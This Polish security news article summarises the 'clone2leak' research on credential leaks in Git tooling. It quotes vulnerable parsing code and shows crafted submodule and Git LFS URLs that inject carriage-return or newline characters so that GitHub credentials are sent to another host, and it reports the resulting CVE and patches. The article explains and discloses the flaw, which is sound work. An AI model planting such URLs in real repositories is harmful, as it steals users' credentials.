Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Adminie… Czy znamy Twoje grzechy? ;-) Sprawdź!
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Adminie… Czy znamy Twoje grzechy? ;-) Sprawdź!
Git to bezdyskusyjnie jeden z najpopularniejszych systemów zarządzania wersjami. Zaadoptowany przez wiele organizacji (np. GitHuba) doczekał się wsparcia w postaci różnych narzędzi, takich jak GitHub Desktop czy Git LFS. To z kolei pociągnęło za sobą konieczność współdzielenia poświadczeń użytkownika. Niestety nie wszystkie sprawdzenia dokonywane były z należytą starannością i badacz @ryotkak wskazał kilka ciekawych wektorów ataków, które prowadzą do wycieku np. loginu i hasła użytkownika. Podatności te zostały określone mianem clone2leak.
TLDR:
Aby uzyskać poświadczenia użytkownika, Git wykorzystuje tzw. Git Credential Protocol, czyli prosty zbiór kroków pozwalający uzupełnić wymagane dane, tak aby nie musieć prosić użytkownika o uzupełnienie loginu i hasła przy każdej, wymagającej tego operacji (jak np. git pull). Oprogramowanie udostępnia interfejs git-credential, które unifikuje interfejs i pozwala korzystać z zapisanych poświadczeń innym skryptom i programom.
Przykładowa definicja kontekstu dla git-credential wygląda następująco:
protocol=https
host=example.com
path=foo.git
Jednocześnie, w odpowiedzi git-credential zwróci wiadomość w formacie:
protocol=https
host=example.com
username=bob
password=secr3t
Jeśli helper nie będzie miał dostępu do pęku kluczy z hasłem użytkownika, to pojawi się prompt, proszący o jego podanie. Jeśli pęk kluczy będzie odblokowany, to wtedy nastąpi automatycznie wypełnienie wszystkich pól łącznie z wartością parametru password. Znaki nowej linii rozdzielają pary klucz=wartość.
GitHub Desktop to “nakładka” pozwalająca na zarządzanie projektem git przy pomocy interfejsu graficznego. Jedną z funkcji ułatwiających pracę jest automatyczne przekazywanie poświadczeń do klienta gita. Odpowiedzialna za to funkcja pomocnicza, wykorzystuje poniższy kod do przeparsowania protokołu wykorzystywanego przez git-credential.
export const parseCredential = (value: string) => {
const cred = new Map<string, string>()
// The credential helper protocol is a simple key=value format but some of its
// keys are actually arrays which are represented as multiple key[] entries.
// Since we're currently storing credentials as a Map we need to handle this
// and expand multiple key[] entries into a key[0], key[1]... key[n] sequence.
// We then remove the number from the key when we're formatting the credential
for (const [, k, v] of value.matchAll(/^(.*?)=(.*)$/gm)) {
if (k.endsWith('[]')) {
let i = 0
let newKey
do {
newKey = `${k.slice(0, -2)}[${i}]`
i++
} while (cred.has(newKey))
cred.set(newKey, v)
} else {
cred.set(k, v)
}
}
return cred
}
Listing 1. Parsowanie git-credential (źródło: research, kod źródłowy)
Wykorzystanie w wyrażeniu regularnym value.matchAll z parametrem gm (m od multiline) włącza tryb wielowierszowy. Język definiuje, które znaki traktowane są jako tzw. lineterminator (znak końca linii). Należą do nich:
LineTerminator ::
<LF>
<CR>
<LS>
<PS>
Jednocześnie protokół wykorzystywany przez git-credential wykorzystuje tylko \n (znak nowej linii). Te rozbieżności powodują, że spreparowany submoduł w repozytorium, który wskazuje na poniższy URL
http://%0dprotocol=https%0dhost=github.com%0d@localhost:13337/
(%0d to znana wszystkim pentesterom heksadecymalna reprezentacja znaku powrotu karetki \r) spowoduje, że zapytanie wysłane do git-credential będzie wyglądało następująco:
protocol=http
host=localhost
username=\rprotocol=https\rhost=github.com\r
Listing 2. Różnice w parsowaniu wiadomości z wstrzykniętym znakiem \r (źródło: research)
Git, parsując powyższą wiadomość uzna, że parametr host wskazuje na wartość localhost. Tymczasem GitHub Desktop będzie wskazywał na github.com. A to spowoduje, że poświadczenia dla serwisu github.com zostaną wysłane w inne miejsce (w przypadku tego przykładu – do localhosta), powodując ich wyciek.
GH Desktop to nie jedyne oprogramowanie, które miało problem z różnicami w parsowaniu nowych linii. Git Credential Manager, oprogramowanie stworzone w technologii .NET. Wykorzystuje klasę StreamReader do odczytywania danych przesyłanych przez Git Credential Manager. Zgodnie z definicją w dokumentacji Microsoftu:
A line is defined as a sequence of characters followed by a line feed (“\n”), a carriage return (“\r”), or a carriage return immediately followed by a line feed (“\r\n”).
StreamReader będzie dzielić linie według znaków \n, \r oraz \r\n. A to powoduje, że atak podobny do tego przedstawionego wyżej jest również możliwy.
Git LFS (Large File Storage) to rozszerzenie pozwalające na przechowywanie dużych plików w repozytorium. Narzędzie napisane jest w języku Go i o ile sam Git posiada zabezpieczenia przed wstrzyknięciem nowej linii, o tyle sam Git LFS już takich mitygacji nie implementuje.
Jak słusznie zauważa autor badania, sam Git waliduje adres URL przed wywołaniem rozszerzenia:
static int check_url_component(const char *url, int quiet,
const char *name, const char *value)
{
if (!value)
return 0;
if (!strchr(value, '\n'))
return 0;
if (!quiet)
warning(_("url contains a newline in its %s component: %s"),
name, url);
return -1;
}
Listing 3. Walidacja czy URL zawiera znak nowej linii (źródło: research, kod źródłowy)
Jednak wskazuje też, że Git LFS pozwala na zdefiniowanie URLa w pliku .lsconfig. A ponieważ Git nie korzysta z tej konfiguracji, jest to metoda na skuteczne obejście próby odfiltrowania błędnych URLi z listingu 3.
[lfs]
url = http://%0Ahost=github.com%0Aprotocol=https%0A@localhost:13337/
Listing 4. Exploit zamieszczony w pliku .lsconfigi (źródło: research)
Efektywnie możliwe jest przeprowadzenie ataku z wykorzystaniem konfiguracji przedstawionej na listingu 4.
Na koniec GitHub CLI – narzędzie pozwalające na obsługę GitHuba z poziomu interfejsu tekstowego, posiadało podatność, która prowadziła do ujawnienia access tokenu. Tym razem jednak problemem nie były znaki nowej linii a błąd logiczny w kodzie funkcji isEnterprise.
// IsEnterprise determines if a provided host is a GitHub Enterprise Server instance,
// rather than GitHub.com or a tenancy GitHub instance.
func IsEnterprise(host string) bool {
normalizedHost := NormalizeHostname(host)
return normalizedHost != github && normalizedHost != localhost && !IsTenancy(normalizedHost)
}
Listing 5. implementacja isEnteprise (źródło: research, kod źródłowy)
Jej logika wskazuje na to, że token dostępowy jest wysyłany do dowolnego hosta (implementacja w funkcji tokenForHost), jeśli ustawione są zmienne środowiskowe – GH_ENTERPRISE_TOKEN i GITHUB_ENTERPRISE_TOKEN albo CODESPACES=true i GITHUB_TOKEN.
Podobny problem wynikający z braku walidacji URL zaobserwowano w oprogramowaniu GitHub Codespaces.
Błędy dotyczące rozbieżności w parsowaniu znaku nowych linii (czyli wszystkie bez podatności w GitHub CLI oraz Codespaces) zostały zaadresowane w projekcie Git, który potraktował je jako podatność (CVE-2024-52006). Dzięki poprawieniu metod walidacji wiadomości Git Credential Protocol URL zawierający znaki powrotu karetki zostanie domyślnie odrzucony. Podobne łatki wprowadzono w projekcie Git LFS.
Podsumowując, research użytkownika @ryotkak bardzo fajnie pokazuje, jak duże znaczenie ma brak rozbieżności w definicji protokołów. Na szczególną pochwałę zasługuje projekt Git, który potraktował rozbieżności jako własną podatność i zabił tę klasę podatności (przynajmniej do momentu znalezienia obejścia), wprowadzając dodatkowe filtrowanie.
~fc